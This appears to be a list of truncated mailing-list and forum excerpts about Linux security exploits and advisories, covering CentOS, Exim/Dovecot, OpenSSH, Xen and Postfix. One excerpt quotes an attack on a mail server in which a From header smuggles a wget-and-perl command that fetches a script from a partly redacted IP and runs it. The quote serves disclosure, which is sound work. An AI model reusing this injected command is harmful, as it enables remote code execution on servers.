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With companies like Facebook and Google offering cash prizes for people who can find security holes in their products, has there ever been any consideration given to offering cash rewards to people finding security exploits in CentOS or in commonly bundled services like Apache? (Provided of course they follow "responsible disclosure" and report the exploit to the software authors

////usr/lib/kde3/kfile_ps.so: Exploit.Linux.Gv FOUND ////usr/lib/kde3/gsthumbnail.so: Exploit.Linux.Gv FOUND ////usr/lib/libgs.so.7.07: Exploit.Linux.Gv FOUND ////usr/lib/libkghostviewlib.so.0.0.0: Exploit.Linux.Gv FOUND I start the procmail process and a mail with those lines appears on my inbox (with subject "Virus found"), i'm running clamd too, but i dont know if this files

Not wishing to extend this thread further, but ... > There are conspiracy theories out there that the NSA is involved with > bringing systemd to Linux so they can have easy access to *"unknown"* > bugs - aka backdoors - to all Linux installations using systemd *[1]*. They're conspiracy theories, and that's it. The bottom line is that in general people don't like

Suppose I have a CentOS 5.7 machine running the default Apache with no extra modules enabled, and with the "yum-updatesd" service running to pull down and install updates as soon as they become available from the repository. (Assume further the password is strong, etc.) On the other hand, suppose that as the admin, I'm not subscribed to any security alert mailing lists which send

I saw that there is a local root exploit in the wild. http://blog.kagesenshi.org/2008/02/local-root-exploit-on-wild.html And I see my centos box still has: 2.6.18-53.1.4.el5 yum says there are no updates... am I safe? Valent.

On Thu, 2017-02-02 at 13:40 -0800, Gordon Messmer wrote: > Escalation *requires* attacking a program in a security context other > than your own. Not necessarily. Suppose the adversary is aware of a root exploit/privilege escalation in a random library. Then the heap spraying allows this attacker to easily trigger this exploit because he is able to initialize the entire contents of the

One of our readers wrote in to let us know that he had received an attempted Exim/Dovecot exploit attempt against his email server. The exploit partially looked like this: From: x`wget${IFS}-O${IFS}/tmp/crew.pl${IFS}50.xx.xx.xx/dc.txt``perl${IFS}/tmp/crew.pl`@blaat.com (Obviously edited for your safety, and I didn't post the whole thing.) This is an exploit against Dovecot that is using

As is my routine every couple of weeks, I ran Pest Patrol anti-spyware software, and was disturbed to find it came back saying that the file FLAC/COPYING.FDL was a security exploit known as "Virus Tutorial" or VTool/jul2. This has left me wondering if FLAC is to be trusted. Here's what PestPatrol's web site has to say about it: Exploit: A way of breaking into a system. An

Some time ago one of my customer's computers was compromised by outside attackers, and though we were able to clean it up I never learned how. A few weeks back, my own office machine was hacked and the signs were similar; but this time I found an exploit program named "kulak" in my /tmp directory. Evidently (according to the source, which the attacker left behind also) kulak

https://bugzilla.redhat.com/show_bug.cgi?id=432251 Mentioned on Slashdot here: http://it.slashdot.org/article.pl?sid=08/02/10/2011257 Fedora bug report here: https://bugzilla.redhat.com/show_bug.cgi?id=432229 -- MELVILLE THEATRE ~ Melville Sask ~ http://www.melvilletheatre.com

Is it possible to use this exploit against a kvm guest to read memory used by the host? In other words: if an exploitable service, say httpd with mod_ssl, is running in guest system 'vm1' hosted on system 'virthost' then what implications does that have with respect to guests vm2 and vm3 and to virthost itself? -- *** E-Mail is NOT a SECURE channel *** James

Is it possible to use this exploit against a kvm guest to read memory used by the host? In other words: if an exploitable service, say httpd with mod_ssl, is running in guest system 'vm1' hosted on system 'virthost' then what implications does that have with respect to guests vm2 and vm3 and to virthost itself? -- *** E-Mail is NOT a SECURE channel *** James

It has come to my attention that there are quite a few local exploits circling around in the private sector for GID Games. Several of the games have vanilla stack overflows in them which can lead to elevation of privileges if successfully exploited.

Typical "[symbolic|hard] link bug" is a vunerability, which allows user X to overwrite files owned by Y (with useless portion of junk) when Y launchs buggy program. But this trivial (and often ignored) attack method can be easily turned into a cute, powerful weapon. Here''s an example how to perform advanced exploitation of gcc symlink bug (I choosen that one, because this

Hello... I am a student at G?teborgs university who is the system adminstrator in one of the student clubs here. We run about 10 computers with one server. Mainly linux and all run openssh. We have closed telnet so only ssh-connections is allowed. Last night i got a mail from one of the system adminstrators at G?teborgs university saying that there was a possible root exploit in all openssh

BM_207650 MEDIUM Vulnerability Version: 1 2/18/2004@03:47:29 GMT Initial report <https://ialert.idefense.com/KODetails.jhtml?irId=207650> ID#207650: FreeBSD Memory Buffer Exhaustion Denial of Service Vulnerability (iDEFENSE Exclusive): Remote exploitation of a denial of service (DoS) vulnerability in FreeBSD's memory buffers (mbufs) could allow attackers to launch a DoS attack.

This is probably fairly well known, I found it by accident while reading about the 0xFF command sperator in older version of bash shell. The newer phf cgi that comes with some versions of picasso and rembrant have been patched for the obvious 0x0A newline escape, but can still be escaped using 0xFF. It takes vulnerabilites in both phf and bash for it to work. I have tested this very

Hello, Anyone have information on whether RedHat-5.0+ is affected by the recent (today's) CERT advisory regarding QPOP? thanks, -bp -- B. James Phillippe <bryan@terran.org> Linux Software Engineer, WGT Inc. http://earth.terran.org/~bryan

Package: xen-hypervisor-3.2-1-i386 Version: 3.2-1 Severity: critical Tags: security Justification: DoS of entire system regardless of privilege When running the exploit listed in bug 464953 [1], Xen's memory state becomes corrupted and the hypervisor eventually crashes, taking all of the domU's with it. As such, this breaks operational behaviour, so I have marked this as critical. [1]

This was just posted on the Postfix list. Centos 7 ships with: postfix-2.10.1-6.el7 Has this cert advisory been applied to the Centos build of Postfix? thank you -------- Forwarded Message -------- Subject: Obsolete NSA exploit for Postfix 2.0 - 2.2 Date: Sun, 9 Apr 2017 16:18:06 -0400 (EDT) From: Wietse Venema <wietse at porcupine.org> To: Postfix users <postfix-users at